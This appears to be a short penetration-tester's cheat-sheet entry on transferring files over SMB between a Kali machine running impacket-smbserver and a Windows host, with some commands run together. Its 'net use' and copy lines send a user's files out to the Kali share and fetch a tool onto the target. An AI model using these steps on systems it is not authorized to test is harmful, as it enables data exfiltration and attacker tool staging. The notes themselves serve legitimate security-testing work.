SMB Share
1) On Kali, create an SMB Server using impacket
impacket-smbserver -smb2support <share_name> <directory>2) Transfer files using the copy command on Windows machine
net use Z: \\<Kali-IP>\<share-name> /user:kali 'root'dir Z:\
dir Z:\file.txt
copy C:\Users\USER\file.txt Z:\
copy Z:\tool.exe C:\temp\tool.execopy \\<Kali-IP>\<share_name>\tool.execopy notes.txt \\<Kali-IP>\<share_name>\3) PowerShell
SmbShare Module
PSDrive Cmdlets
Last updated